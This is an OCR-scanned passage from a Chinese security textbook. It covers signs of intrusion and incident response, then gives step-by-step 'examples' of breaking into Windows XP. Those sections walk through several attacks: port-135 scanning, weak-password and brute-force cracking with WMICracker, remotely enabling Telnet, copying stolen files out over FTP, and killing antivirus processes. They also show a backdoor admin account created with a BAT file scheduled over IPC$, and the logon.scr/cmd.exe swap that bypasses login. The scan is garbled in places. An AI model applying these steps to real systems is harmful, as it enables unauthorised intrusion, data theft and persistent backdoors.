问 一 些 网 络 安全 列表 。 全 球 的 有 关 网 络 安 全 列表 里 经 常 有 最 新 发 现 的 系统 或 应 用 程序 漏洞 
的 公告 。 然 后 ,根据 第 一 步 扫描 系统 时 得 到 的 信息 来 看 看 是 否 有 漏洞 可 以 利用 。 

还 有 一 些 和 人 侵 的 方法 是 采用 像 IP 地 址 欺骗 等 手段 。 它 的 原理 就 是 通过 各 种 欺骗 手段 ， 
取得 目标 计算 机 的 信任 ,从 而 可 以 进入 目标 计算 机 。 在 人 侵 了 计算 机 之 后 , 剩 下 的 工作 是 留 
下 后 门 ,删除 入 侵 记 录 ,继续 收集 有 用 的 信息 。 

(35 和 留 下 “后 门 ”。 

在 侵入 目标 计算 机 后 留 下 后 门 的 目的 是 为 以 后 进入 该 系统 提供 方便 。 后门 一 般 都 是 一 
个 特洛伊 木马 程序 。 它 在 系统 运行 的 同时 运行 ,而 且 能 在 系统 以 后 的 重启 动 时 自动 运行 这 
个 程序 。 

(4) 清除 入 侵 记 录 。 

删除 入 侵 记 录 是 把 在 入侵 系 统 时 的 各 种 登录 信息 都 删除 ,防止 被 目标 系统 的 管理 员 发 
现 , 以 便 达到 入 侵 系统 继续 收集 信息 的 目的 。 采 取 的 方法 很 多 ,例如 ,通过 Sniffer 程序 来 收 
集 目标 系统 网 络 的 重要 数据 。 还 可 以 通过 后 门 , 即 一 个 木马 程序 收集 信息 ,比如 发 送 一 个 文 
件 复制 命令 ,把 目标 计算 机 上 的 有 用 文件 复制 过 来 。 

由 于 被 人 侵 的 目标 计算 机 可 能 运行 的 操作 系统 和 应 用 程序 很 多 ,因此 没有 一 种 固定 的 
人 入侵 方法 。 这 往往 要 求 攻击 者 具有 丰富 的 计算 机 和 网 络 方面 的 知识 。 特 别 是 需要 网 络 编程 
方面 的 知识 和 操作 系统 高 级 编程 知识 。 但 是 ,只 要 知道 一 些 网 络 安全 技术 方面 的 基础 知识 ， 
再 加 上 一 些 编程 知识 ,针对 不 同 的 操作 系统 ,也 能 成 功 地 实施 对 目标 计算 机 系统 的 攻击 。 


6.7.2 对付 黑客 入 侵 的 措施 


当 计 算 机 网 络 受 到 了 非法 入 侵 后 ,必须 先 评估 网 络 唱 受到 非法 问 入 的 具体 情况 。 这 种 
情况 分 为 不 同 的 程度 : 
。 入 侵 者 只 获得 访问 权 ( 一 个 登录 名 和 口令 )。 
。 入 侵 者 获得 访问 权 , 并 毁坏 或 改变 数据 。 
。 入 侵 者 获得 访问 权 , 并 捕获 系统 一 部 分 或 整个 系统 控制 权 , 拒 绝 拥 有 特权 的 用 户 的 
访问 。 
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。 人 侵 者 没有 获得 访问 权 , 而 是 用 不 良 的 程序 ,引起 网 络 持久 性 或 暂时 性 的 运行 失败 、 
重新 启动 . 挂 起 或 其 他 无 法 操作 的 状态 。 

然后 ,就 可 以 采取 相应 的 措施 防范 ,本 节 将 讲述 怎样 发 现 黑客 和 常见 的 对 付 黑客 的 
志 法 。 

1. 了 解 黑 客 入 侵 后 的 特征 

发 现 黑客 是 网 络 防御 的 重要 步骤 ,黑客 入 侵 用 户 的 计算 机 总 是 为 了 达到 某 种 目的 ,包括 
盗窃 用 户 的 上 网 密码 、 取 得 用 户 计算 机 上 的 重要 文件 .控制 用 户 的 计算 机 等 。 但 无 论 如何 ， 
黑客 总 要 有 某 些 动作 ,这 样 就 会 留 下 蛛丝马迹 ,用 户 就 可 能 发 现 他 的 存在 。 

一 般 来 说 ,用 户 的 计算 机 只 要 在 上 网 时 表现 出 以 下 特征 ,多 半 就 可 能 有 人 人 和 人 侵 了 。 

(1) 计算 机 有 时 突然 死机 ,然后 又 重新 启动 (黑客 控制 了 用 户 的 程序 ) 。 

(2) 在 没有 执行 什么 操作 的 时 候 , 计 算 机 却 在 拼命 读 写 硬盘 ;系统 莫名 其 妙 地 对 软驱 进 
行 搜索 (黑客 正在 检查 用 户 的 磁盘 ,以 找到 他 要 的 信息 )。 

(3) 没有 运行 大 的 程序 ,而 系统 的 速度 越 来 越 慢 ;用 鼠标 右 击 打开 “我 的 电脑 ”, 查 看 “ 属 
性 ”1“ 性 能 ”中 的 “系统 资源 ” ,正常 时 一 般 都 在 90% 以 上 ,如 果 低 于 60% 就 有 点 不 正常 了 。 

(4) 用 Netstat 命令 查看 计算 机 网 络 状 况 ,发 现 有 的 端口 被 非法 打开 ,并 有 人 连接 用 户 。 

(5) 关闭 所 有 上 网 的 软件 , 却 发 现 用 户 的 调制 解 调 器 (MODEM) 仍 然 闪 烁 不 停 ( 说 明 数 
据 仍 在 传递 ) 。 

(6) 用 Administrator 身份 登录 时 ,发 现 同 时 有 两 个 Administrator 管理 员 ; 或 者 guest 
用 户 被 激活 , 且 属 于 Administrators 组 。 

(7) 在 开 了 FTP,Telnet 的 计算 机 上 发 现 某 个 用 户 在 极 短 的 时 间 内 ,多 次 登录 。 

上 述 情况 如 果 发 生 , 用 户 就 要 小 心 了 ,很 可 能 就 是 黑客 人 侵 了 自己 的 计算 机 (当然 ,有 些 
特征 在 计算 机 被 病毒 感染 时 也 会 出 现 )。 这 时 用 户 就 要 采取 防范 措施 。 其 中 最 好 的 方法 就 
是 记录 黑客 的 行为 ,这 就 要 采取 日 志 技 术 了 。 对 于 Windows 操作 系统 的 有 关 日 志文 件 的 使 


用 ,请 参照 Windows 操作 系统 与 日 志 相 关 的 帮助 内 容 。 
2. 对 付 黑 客 的 应 急 方法 
一 且 面 对 网 络 的 安全 事故 ,可 以 遵循 如 下 步 又 应 急 。 尽 管 不 必 逐 条 执行 ,或 者 其 中 一 些 


步骤 并 不 适合 具体 情况 ,但 至 少 应 该 仔细 阅读 ,因为 它 有 助 于 在 事故 发 生 时 控制 形势 ,而 不 
是 在 事故 发 生 之 后 。 

面 对 黑 客 的 袭击 ,首先 应 当 考 上 处 这 将 对 网 络 或 用 户 产生 什么 影响 ,然后 考虑 如 何 能 阻止 
黑客 的 进一步 入侵 。 事故 一 旦 发 生 , 应 按 如 下 步骤 进行 。 

(1) 估计 形势 。 

当 证 实 遭 到 入 侵 时 ,采取 的 第 一 步行 动 是 尽 可 能 快 地 估计 和 人 侵 造 成 的 破坏 程度 。 

@ 黑客 是 否 已 成 功 交 人 站 点 ? 果真 如 此 , 则 不 管 黑客 是 否 还 在 那里 ,必须 迅速 行动 。 
其 主要 目的 不 是 抓 住 他 们 ,而 是 保护 网 络 中 的 用 户 数据 、 文 件 和 系统 资源 。 

@ 黑客 是 否 还 滞留 在 系统 中 ? 车 如 此 , 需 尽 快 阻止 他 们 。 否 则 在 他 们 下 次 侵入 之 前 ， 
应 做 好 一 切 准 备 。 

@ 在 能 控制 形势 之 前 最 好 的 办 法 是 什么 ”可 以 关闭 系统 或 停止 有 影响 的 服务 (FTP， 
Gopher,Telnet 和 电子 邮件 等 ) ,其 至 可 能 需要 关闭 Internet 连接 。 

@ 侵入 是 否 有 来 自 内 部 威胁 的 可 能 呢 ? 若 如 此 , 除 授权 者 之 外 , 千 万 小 心 莫 让 其 他 人 
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知道 网 络 安全 的 解决 方案 。 

@ 是 否 了 解 和 人 侵 者 身份 ? 若 想 知道 这 些 , 可 先 留 出 一 些 空间 给 侵入 者 ,从 中 了 解 一 些 
侵入 者 的 信息 。 

(2) 切断 连接 。 

一 旦 了 解 形势 之 后 ,就 应 着 手 去 采取 行动 ,至 少 是 一 个 短期 行动 。 首 先 应 切断 内 部 网 络 
与 Internet 之 间 的 连接 ,具体 操作 要 看 环境 。 

Q@ 能 否 关闭 服务 器 ?需要 关闭 它 吗 ? 车 有 能 力 , 可 以 这 样 做 。 若 不 能 ,也 可 关闭 一 些 
服务 。 

@ 是 否 关心 追踪 黑客 ?车 打算 如 此 , 则 不 要 关闭 Internet 连接 ,因为 这 会 失去 人 侵 者 
的 踪迹 。 

@ 若 关 闭 服务 器 ,是 否 能 承受 得 起 失去 一 些 必 需 的 有 用 系统 信息 的 损失 ? 

(3) 分 析 问 题 。 

必须 有 一 个 计划 ,合理 安排 时 间 。 当 系统 已 被 入侵 时 ,应 全 盘 考 虑 新 近 发 生 的 事情 , 当 
已 识别 安全 漏洞 并 将 进行 修补 时 ,要 保证 修补 不 会 引起 另 一 个 安全 漏洞 。 

(4) 采取 行动 。 

实施 紧急 反应 计划 时 ,确保 上 司 ,用户 以 及 服务 提供 商都 意识 到 这 个 问题 。 无 须 给 他 们 
太 多 信息 ,特别 在 技术 方面 ,但 应 给 他 们 合理 的 时 间 以 恢复 系统 。 

最 后 ,修复 安全 漏洞 并 恢复 系统 。 应 记录 整个 事情 的 发 生 , 从 中 吸取 经 验 并 编 档 保存 。 

3. 对 黑客 采取 行动 , 抓 住 入 侵 者 

抓 住人 侵 者 是 很 困难 的 ,特别 是 当 他 们 故意 掩藏 行 迹 的 时 候 。 机 会 在 于 是 否 能 准确 击 
中 黑客 的 攻击 ,这 将 是 偶然 的 ,而 非 有 把 握 的 。 然 而 ,尽管 击 中 黑客 需要 等 待机 会 ,遵循 如 下 
原则 会 大 有 帮助 。 

(1) 注意 经 常 定期 检查 登录 文件 和 日 志文 件 。 特 别 是 那些 由 系统 登录 服务 和 wtmp 文 
件 生成 的 内 容 。 

(2) 注意 不 寻常 的 主机 连接 及 连接 次 数 ,通知 用 户 , 将 使 消除 人 侵 可 能 性 变 得 更 为 容易 。 

(3) 注意 那些 原 不 经 常 使 用 却 突然 变 得 活跃 的 账户 。 应 该 禁止 或 干脆 删 去 这 些 不 用 的 
账户 。 

(4) 预计 黑客 光顾 网 络 的 时 间 ( 一 般 在 周 六 、 周 日 和 节假日 下 午 6 ee 8 点 之 间 光 
顾 ,但 他 们 也 可 能 随时 光顾 )。 在 这 些 时 段 里 ,每 隔 一 段 时 间 ( 如 10 分钟) 运行 一 次 shell 
script 文件 或 系统 监视 器 ,记录 所 有 的 过 程 及 网 络 连接 。 


6.8 人 侵 Windows XP 的 实例 
如 果 要 防范 从 远程 对 Windows XP 网 络 的 入 侵 , 最 好 的 办 法 还 是 研究 一 下 人 侵 的 基本 
方法 。 只 有 做 到 知己 知 彼 ,才能 更 好 地 防范 入 侵 。 


6.8.1 通过 端口 入 侵 


所 谓 端 口 和 人 侵 ,首先 就 要 找 对 方 的 漏洞 ,例如 ,135 入 侵 就 是 从 对 方 的 135 端口 入 侵 ,这 
是 个 相当 敏感 的 端口 ,冲击 波 病毒 就 是 利用 了 这 个 端口 。 
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入 侵 的 第 1 步 就 是 扫描 网 上 开启 了 135 端口 的 电脑 。 扫 描 工具 有 很 多 , 以“S 扫描 器 ” 
为 例 , 它 的 速度 比较 快 。 输入 如 下 命令 : 

stcp 192.168. 11.0 192. 168. 11. 255 135 100 /save 

两 段 IP 地 址 分 别 是 扫描 的 开始 地 址 和 结束 地 址 ,后 面 135 表示 端口 号 ,100 表示 同时 
开启 的 扫描 线程 数 ,数字 越 大 扫描 速度 就 越 快 ,但 也 更 容易 出 现 漏 扫 (Windows XP SP2 默 
认 限 制 TCP/IP 线程 数 为 10, 要 用 修改 工具 改 掉 这 个 限制 才 行 )。/save 表示 把 扫描 结果 保 
存 到 一 个 名 为 Result. txt 的 文本 文件 里 。 

第 2 步 是 从 开启 了 135 端口 的 电脑 中 筛选 出 可 以 入 侵 的 电脑 ,用 到 的 工具 是 NTscan。 
打开 刚才 生成 的 Result. txt 文件 ,删除 多 余 的 信息 ,只 留 下 IP 地 址 ,然后 保存 。 接 着 用 
NTsacn 打开 该 文件 ,选择 WMI 扫描 ,在 端口 一 栏 输入 135 ,就 可 开始 进行 筛选 。 

NTscan 会 根据 字典 文件 中 设置 的 用 户 名 和 口令 来 筛选 出 那些 空 口 令 或 者 弱 口 令 的 电 
脑 ( 注 : 字典 文件 是 NT_user. dic 和 NT_pass. dic 这 两 个 文件 ,可 以 自行 修改 其 内 容 )。 
NTsacn 会 把 扫描 结果 保存 到 NTscan. txt 文件 里 。 

第 3 步 是 用 Recton 来 远程 开启 对 方 的 Telnet 功能 。 打 开 Recton ,选择 Telnet, 从 
NTscan. txt 文件 中 随便 找 个 地 址 如 222. 241. 193. 107 ,把 它 输入 到 远程 主机 一 栏 , 再 填 人 
用 户 名 和 密码 , 单 击 “ 开 始 执行 ”按钮 ,Recton 就 会 自动 利用 135 漏洞 去 开启 对 方 的 Telnet 
功能 ,当然 这 一 过 程 不 是 每 次 都 能 成 功 ,开启 成 功 后 下 面 的 提示 框 就 会 显示 相关 信息 。 

第 4 步 是 Telnet 登录 到 对 方 的 电脑 。 单 击 “ 开 始 ”| “运行 ”, 输 入 cmd, 按 Enter 键 ,在 
命令 提示 符 模 式 下 ,输入 telnet 222. 241. 193. 107, 按 Enter 键 ,就 会 出 现 Telnet 登录 界面 。 
sd Windows XP ,就 会 提示 ” 人 Internet 区 内 
的 一 台 远 程 计算 机 上 。 这 可 能 不 安全 。 您 还 要 送 吗 (y/n): ”。 选 择 n, 和 否则 会 退出 连接 。 
当 输 入 用 户 名 administrator, 密 码 为 空 , 按 Enter 键 后 ,等 待 一 会 ,就 能 进入 对 方 的 电脑 了 。 
这 样 一 来 ,入 侵 就 成 功 了 。 

用 Telnet 登录 对 方 的 电脑 后 ,就 好 像 在 本 机 运行 cmd 程序 一 样 ,可 以 删除 和 窃取 文件 。 
入 侵 成 功 后 可 以 用 del 命令 删除 对 方 电脑 上 的 文件 ,甚至 可 以 用 format 命令 格式 化 对 方 的 
硬盘 。 如 何在 DOS 状态 下 把 对 方 的 文件 偷 走 呢 ? 这 就 要 用 到 FTP 命令 。 可 以 在 网 上 申请 
有 FTP 功能 的 主页 空间 ,或 者 在 自己 的 电脑 上 安装 ServU ,把 自己 的 电脑 变 成 FTP 服务 
器 。 然 后 在 对 方 的 电脑 里 输入 ftp x. x. x. x, 输 入 用 户 名 和 密码 ,就 能 登录 到 FTP 服务 器 。 

之 后 使 用 “put 文件 名 . 扩展 名 ?命令 就 能 把 文件 传 到 自己 的 FTP 服务 器 上 去 。 如 果 要 上 传 
大 量 文件 ,可 以 把 文件 列表 复制 下 来 ,用 UltraEdit 来 编辑 成 批 处 理 命令 即 可 。 这 比 用 那些 
有 图 形 界面 的 木马 程序 偷 文件 要 快 得 多 。 

和信 侵 成 功 后 还 可 以 种 植木 马 ,种 植木 马 成 功 的 条 件 是 木马 不 会 被 对 方 电脑 的 杀毒 软件 
查 杀 ,但 现在 杀毒 软件 种 类 繁多 ,升级 病毒 库 也 越 来 越 频繁 ,加 壳 或 修改 特征 码 不 一 定 会 成 
功 免 杀 。 在 Telnet 模式 下 关闭 对 方 电脑 的 杀毒 软件 ,可 以 使 用 杀 进 程 工具 pskill 来 杀 掉 杀 
毒 软件 进程 ,或 者 用 Windows 自 带 的 taskkill 和 net stop 等 命令 来 关闭 杀毒 软件 进程 或 服 
务 。 不 过 现在 有 的 杀毒 软件 本 身 有 了 进程 保护 措施 ,可 以 防止 自身 进程 被 非法 关闭 。 除 此 
之 外 ,还 有 人 提出 把 病毒 库 “ 掏 空 ” 的 观点 ,就 是 破坏 对 方 的 病毒 库 , 这 样 对 方 的 杀毒 软件 就 
毫 无 作用 了 。 

所 有 的 人 侵 都 涉及 以 管理 员 用 户 账 号 root 或 admin 权限 登录 到 某 一 计算 机 或 网 络 。 
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入 侵 的 第 1 步 往 往 是 对 目标 计算 机 或 端口 扫描 (portscan) 。 建 立 在 目标 计算 机 开放 端口 上 
的 攻击 是 相当 有 效 的 。XP 机 器 的 端口 信息 的 显示 和 UNIX 的 不 同 。 因 此 ,一般 能 区 分 出 
目标 计算 机 所 运行 的 是 哪个 操作 系统 。 

通过 种 植木 马 能 够 监控 对 方 的 屏幕 甚至 远程 控制 对 方 的 桌面 ,但 是 控制 对 方 的 鼠标 和 
键盘 很 容易 被 发 现 , 所 以 黑客 更 倾向 于 使 用 Windows 的 远程 桌面 功能 。Windows XP 默认 
只 支持 一 个 用 户 登 录 。 但 是 ,只 要 把 3389 破解 工具 传 到 对 方 的 电脑 里 ,就 能 破解 该 限制 , 实 
现 Windows XP 的 多 用 户 同时 登录 ,这样 黑 客 就 可 以 用 远程 桌面 连接 到 对 方 电脑 ,和 操作 自 
己 的 电脑 一 样 ,自然 方便 多 了 。 


6.8.2 口令 破解 


如 果 入 侵 者 进入 了 一 个 系统 ,他 就 可 以 干 好 几 件 事 ,例如 ,先进 行 密码 破解 ,然后 留 下 
后 门 。 

入 侵 者 一 般 采 取 以 下 手段 来 获取 远程 主机 的 管理 员 密 码 : 弱 口 令 扫 描 ( 找 到 存在 弱 口 
令 的 主机 密码 监听 ) ;通过 Sniffer( 监 昕 器) 监听; 暴力 破解 (获取 密码 只 是 时 间 问 题 ) 及 其 他 
方法 (如 种 植木 马 、 安 装 键盘 记录 程序 ) 等 。 下 面 介 绍 在 XP 系统 下 是 如 何 通 过 口令 破解 进 
行人 侵 的 。 

首先 人 侵 者 通过 网 络 连 到 目标 机 器 ,要 登录 到 计算 机 系统 ,需要 对 方 的 账户 密码 。 可 以 
使 用 远程 暴力 破解 工具 (比如 WMICracker) ,利用 黑客 字典 获取 账号 密码 。 暴 力 破解 最 终 
都 能 破解 密码 , 当 入 侵 者 无 法 找到 目标 系统 的 缺陷 时 ,暴力 破解 便 是 最 好 的 方法 ,暴力 破解 
需要 的 是 一 个 安排 合理 的 字典 文件 和 充足 的 时 间 。 

破解 前 先 建 立 黑客 字典 ,可 以 使 用 流光 软件 中 的 黑客 字典 工具 ,通过 选择 “工具 ”|“ 字 上 典 
工具 ”| 黑客 字典 工具 ”命令 在 流光 中 打开 黑客 字典 ,如 图 6-4 所 示 。 


小 榕 软件 -【 流 光 5. 0〗 Build 3310 (0 用 户 ) 辐 吾 可 
文件 时 编辑 E) 查看 探测 中 ) 这 项 工具 (I) 帮助 4) 关于 (A) 


主机 
局 口 渔 辅助 主机 
口 最 swrp 主机 
口 蚀 cf 主机 
口 @@ 解码 字 由 或 方案 
口 如 岳 出 历史 纪录 
主机 基本 尖 弄 [E33 
屋 小 软件 实 闪 宇 1995 2002 小 四 作品 版权 所 有 
用 记名 TE 主机 Ja EE: 
| 用 户 单 司 [3 探 剖 到 度 下 


图 6-4 黑客 字典 界面 


假设 入 侵 者 要 使 用 黑客 流光 字典 产生 一 个 符合 如 下 要 求 的 密码 文件 : 3 位 字母 (a 一 g) 
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和 两 位 数字 (0 一 9) 的 组 合 . 首 字母 大 写 ,数字 在 字母 之 后 。 则 打开 字典 工具 ,在 “设置 ?选项 
卡 中 设置 字母 和 数字 范围 。 如 图 6-5 所 示 。 
然后 ,再 在 “选项 ”选项 卡 中 设置 仅仅 首 字母 大 写 ,如 图 6-6 所 示 。 


黑客 宁 典 流光 版 


已 汉人 和 已 习 人 涩 字 太 仅仅 首 字 母 大 写 


字母 范围 ， 从 内 ] 至 [二 


厂 数字 在 字母 前 


厂 羽 羽 使 用 1 间 嘻 
ee eh < 总 厂 仅 忆 全 用 销 圭 字母 


厂 符号 (0x20 “0x2E 厂 字母 和 数字 不 重复 ( 慢 ) 


图 6-5 产生 密码 文件 图 6-6 设置 选项 卡 


密码 文件 创建 之 后 ,在 “文件 存放 位 置 ” 选 项 卡 选 择 存放 字典 文件 的 位 置 。 如 图 6-7 
所 示 。 


保存 在 C0): [sw Toors 0:) 了 生 白 上 性 力 - 


回电 子 书 阅读 工具 回 下 载 工具 
| 器 媒 体 播放 可 虚拟 机 
| 已 席 曾 思虑 拟 机 安装 ( 绿色 版 ) 
口 杀 毒 忆 忧 化 I 具 
局 输入 法 局 娱乐 I 具 
| 局 系统 装机 工具 大 全 
< 习 | 


文件 名 加 :站 mie 保存 G) | 
保存 类 型 [) | 字典 文件 了 取消 


图 6-7 保存 密码 文件 


如 果 上 面 的 设置 属性 符合 要 求 ,可 以 单 击 “ 开 始 ” 按 钮 ,生成 密码 字典 。 如 图 6-8 
所 示 。 


字母 :|sbcdefghimnoparstuvwxyz 。 长度 : 3 给 
数字 : | 0123456789 。 长度 : 2 位 
单词 长 度 : | 5 位 。 首 字 母 大写 : |「 首 字 母 大 写 
所 有 字母 大 写 ; 不 大 写 ”数字 在 字母 前 : | 字母 在 前 面 
单词 中 包含 符号 ; 没有 符号 。 单词 间隔 : | 。 用 LF 和 CR 间隔 


避 羽 使 用 辅音 字母 : | 有 辅音 字母 。 预计 字典 大 小 : 12014K 
字典 文件 名 ; DWLDic ”字母 数字 重复 ; 重复 
方案 文件 名 ; 不 生成 方案 。” 当前 空间 剩余 ; 1314840K 
单词 范例 厂 naa00 

拆 分 字典 ; 不 拆 分 [开始 (5) 


图 6-8 生成 密码 字典 
生成 密码 字典 之 后 可 以 打开 密码 文件 来 查看 生成 的 密码 。 如 图 6-9 所 示 。 
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图 6-9 密码 文件 内 容 


实际 中 密码 长 度 很 大 ,生成 的 密码 字典 文件 很 大 ,如 果 使 用 一 台 主 机 进行 暴力 破解 , 恐 
怕 需 要 几 十 年 甚至 几 百 年 。 现 在 ,入 侵 者 往往 将 较 大 的 密码 文件 分 成 多 份 ,然后 上 传 到 几 十 
台 或 几 百 台 “ 肉 鸡 ” 上 ,让 不 同 的 Ee 
WMICracker 是 一 款 破解 NT 主机 账号 密码 的 工具 ,是 Windows NT/2000/XP/2003 
的 密码 杀手 ,破解 时 需 要 目标 主机 开放 135 端口 。 使 用 广 法 : WMICracker. exe 玫 IP 二 
<<username 之 一 PasswordFile 之 [Threads]。 其 中 : 
<<IP>: 目标 IP。 
二 username 记 : 待 破解 的 账号 ,必须 属于 管理 员 组 。 
二 PasswordFile 记 : 密码 文件 。 
<Threads 二 : 线程 数 ,默认 为 80。 
例如 ,通过 X-scan 扫描 到 192. 168.0.106 有 一 个 名 为 administrator 的 账号 , 旦 密码 符 
en 3 位 字母 (a 一 g) 和 两 位 数字 (0 一 9) 、 首 字母 大 写 .数字 在 字母 之 后 和 
典 , 然 后 用 WMICracker 进行 暴力 破解 ,如 图 6-10 所 示 。 破 解 出 密码 是 Aaa00 ,这 样 就 可 
Be a 


2 .168 .8196 adninistrator 1.dic 198。 


adninistrator’s Password is haage 


图 6-10 WMICracker 暴力 破解 


* 234 。 


6.8.3 后 门 


人 侵 者 在 问 入 目标 计算 机 后 ,往往 会 留 后 门 , 以 便 日 后 再 方便 地 回 到 目标 计算 机 上 。 
BAT 文件 是 在 Windows 系统 中 的 一 种 文件 格式 , 称 为 批 处 理 文件 。 简 单 来 说 ,就 是 把 
需要 执行 的 一 系列 DOS 命令 按 顺 序 先后 写 在 一 个 后 级 名 为 BAT 的 文本 文件 中 。 通 过 鼠标 
双击 或 DOS 命令 执行 该 BAT 文件 ,就 相当 于 执行 一 系列 DOS 命令 。 
常用 的 与 人 侵 相关 的 DOS 命令 有 : 
copy 命令 : 把 一 个 文件 复制 到 男 一 个 地 方 ,“ 另 一 个 地 方 ” 可 以 是 本 地 计算 机 的 目 
录 、 磁 盘 , 也 可 以 是 另 一 台 主 机 的 目录 或 磁盘 。 
at 命令 : 用 来 建立 计划 任务 。 
net time 命令 : 用 来 查看 目标 计算 机 的 系统 时 间 ,以便 使 用 计划 任务 指定 时 间 。 
net user 命令 : 用 来 管理 计算 机 上 面 的 账号 。 
net user name passwd/add: 建立 账号 命令 。 
net user name passwd/del: 删除 账号 命令 。 
net localgroup 命令 : 用 来 管理 工作 组 。 
如 果 要 在 目标 计算 机 上 建立 后 门 账号 ,详细 步骤 如 下 。 
(1) 编写 BAT 文件。 
打开 记事 本 ,输入 “net user sysbak 123456 /add” 和 “net localgroup administrators 
sysback /add” 命 令 ,编写 好 命令 后 ,把 该 文件 另存 为 hack. bat。 下 面 对 这 两 个 命令 进行 
说 明 。 
@ net user sysbak 123456 /add。 该 命令 表示 添加 用 户 名 为 sysback ,密码 为 123456 的 
账号 。 参 数 说 明 : sysback 表示 用 户 名 ,123456 表示 用 户 的 密码 ,/add 表示 添加 账号 。 
@ net localgroup administrators sysback /add。 该 命令 表示 把 sysback 添加 到 管理 员 
组 (administrators)。 参 数 说 明 : 
。 administrators: 表示 管理 员 组 。 
。 sysback: 表示 刚 建立 的 用 户 名 。 
。 /add: 表示 添加 账号 。 
(2) 与 目标 主机 建立 IPC$ 连接 。 
所 谓 IPC 是 英文 Internet Process Connection 的 缩写 ,可 以 理解 为 “命名 管道 ?资源 , 它 
是 Windows 操作 系统 提供 的 一 个 通信 基础 ,用 来 在 两 台 计 算 机 进程 之 间 建 立 通信 连接 ,而 
IPC 后 面 的 “$ ”是 Windows 系统 所 使 用 的 隐藏 符号 。 因 此 ,“IPC $ ”表示 IPC 共享 ,但 是 是 
隐藏 的 共享 。IPC$ 是 Windows NT 及 Windows 2000/XP/2003 特有 的 一 项 功能 ,通过 这 
项 功能 ,一 些 网 络 程序 的 数据 交换 可 以 建立 在 IPC 上 面 ,实现 远程 访问 和 管理 计算 机 。 打 
个 比方 ,IPC 连接 就 像 是 挖 好 的 地 道 ,通信 程序 就 通过 这 个 IPC 地 道 访 问 目标 主机 。 默 认 情 
况 下 IPC 是 共享 的 ,除非 手动 删除 IPC$ 。 通 过 IPC$ 连接 .入 侵 者 就 能 够 实现 远程 控制 目 
标 主机 。 因 此 ,这 种 基于 IPC 的 和 人 侵 也 常常 被 简称 为 IPC 入 侵 。 为 了 配合 IPC 共享 工作 ， 
Windows 操作 系统 (不 包括 Windows 98 系列 ) 在 安装 完成 后 ,自动 设置 共享 的 目录 为 : 
C 盘 .D 盘 上 E 盘 `、 ADMIN 目录 (C:\WINNT\) 等 , 即 为 ADMIN$、C$、D$ 、E$ 等 。 但 要 
注意 : 这 些 共享 是 隐藏 的 ,只 有 管理 员 能 够 对 它们 进行 远程 操作 。 可 以 在 MS-DOS 中 输入 
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net share 命令 来 查看 本 机 共享 资源 。 

要 建立 IPC$ 连接 ,可 使 用 命令 : net use \\IP\IPC$ "PASSWD'" /USER: "ADMIN" 
与 目标 主机 建立 IP。 参 数 说 明 : IP 表示 目标 主机 的 IP,IPCS$ 在 前 面 已 经 介绍 过 ， 
PASSWD 表示 已 经 获得 的 管理 员 密 码 ,ADMIN 表示 已 经 获得 的 管理 员 账 号 。 

例如 ,输入 命令 net use \\192. 168. 27. 128\IPC$ " " /USER: "administrators"。 就 
与 远程 的 192. 168. 27. 128 主机 建立 连接 ;管理 员 帐 号 是 administrator, 管 理 员 密码 为 空 。 

(3) 建立 IPC$ 连接 后 ,复制 文件 至 目标 主机 。 

使 用 命令 : copy FILE \\IP\PATH。 参 数 说 明 : 

。 FILE 表示 本 地 的 文件 名 。 

。 IP 为 目标 主机 的 IP 地址 。 

。 PATH 为 保存 文件 的 路 径 。 

打开 MS-DOS, 输 入 “copy hack. bat \\192. 168. 27.128\C$ ”命令 ,copy 命令 执行 成 功 
后 ,就 已 经 把 D 盘 下 的 hack. bat 文件 复制 到 192.168. 27. 128 的 C 盘 内 。 

(4) 通过 计划 任务 使 远程 主机 执行 hack. bat 文件 。 

首先 输入 “net time \\IP” 命 令 查 看 远程 主机 的 系统 时 间 , 再 输入 “at\\IP TIME 
COMMAND” 命 令 在 远程 主机 上 建立 计划 任务 。 参 数 说 明 : 

。IP: 目标 主机 IP。 

。 TIME: 设 定 计划 任务 执行 的 时 间 。 

。 COMMAND: 计划 任务 要 执行 的 命令 。 

打开 MS-DOS ,输入 “net time \\192. 168. 27. 128” 命 令 。 假 设 回 显 的 目标 系统 时 间 为 
13:33, 然 后 根据 该 时 间 为 远程 主机 建立 计划 任务 。 输 入 “at\ \192. 168. 27. 128 13:45 C:\ 
hack. bat” 命 令 ,该 命令 表示 在 下 午 13 点 45 分 执行 目标 主机 C 盘 中 的 hack. bat 文件 。 计 
划 任 务 添加 完毕 后 ,使 用 命令 “net use * /del” 断 开 IPC$ 连接 。 

验证 账号 是 否 成 功 建立 。 等 待 一 段 时 间 后 ,估计 远程 主机 已 经 执行 了 hack. bat 文件 。 
下 面 通过 建立 IPC $ 连接 来 验证 是 否 成 功 建立 sysback 账号 。 连 接 成 功 ! 说 明 管 理 员 账号 
sysback 已 经 成 功 建立 。 


6.8.4 本 地 攻击 


以 上 讲述 的 是 外 部 人 侵 者 对 目标 计算 机 进行 的 攻击 。 其 实 , 攻 击 往往 是 来 自 内 部 的 。 
下 面 介 绍 几 种 本 地 人 侵 Windows XP 系统 的 方法 。 

1. 利用 DOS 启动 

(1) 启动 电脑 ,使 用 DOS 启动 盘 进 入 纯 DOS 状态 。 

(2) 在 DOS 提示 符 下 ,根据 下 面 步骤 操作 。 

。 cd\ (切换 到 根 目 录 ); 

。 cd windows\system32( 切 换 到 系统 目录 ); 

。 mkdir temphack( 创 建 临 时 文件 夹 ); 
copy logon. scr temphacklogon. scr( 备 份 logon. scr) ; 


copy cmd. exe temphackcmd. exe( 备 份 cmd. exe); 


del logon. scr( 删 除 logon. scr); 
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。 rename cmd. exe logon. scr( 将 cmd. exe 改名 为 logon. scr) ; 

。 exit( 退 出 )。 

(3) 重启 电脑 ,在 登录 等 待 画 面 出 现 后 静 静 等 候 。 如 果 没 有 修改 屏幕 保护 时 间 , 大 约 
10 分 钟 后 系统 就 会 自动 启动 登录 屏保 程序 。 可 是 ,由 于 logon. scr 已 经 由 cmd. exe 代替 了 ， 
所 以 系统 就 启动 了 cmd. exe, 进 入 命令 行 提 示 符 状态 。 

(4) 使 用 命令 net user password 来 修改 密码 。 

假设 有 一 个 超级 管理 员 的 账号 是 Admin, 和 希望 重新 设置 其 密码 为 admin, 那 么 可 以 使 用 
命令 net user Admin admin, 按 Enter 键 后 即 可 更 改 密码 。 

(5) 接 下 来 ,在 命令 行 提示 符 状态 下 输入 Explorer 命令 ,就 能 进入 Windows 的 桌面 系 
统 , 从 而 顺利 地 看 到 硬盘 上 面 的 东西 。 

2. 利用 net 命令 

在 Windows XP 中 提供 了 net user 命令 ,该 命令 可 以 添加 、 修 改 用 户 账户 信息 ,其 语法 
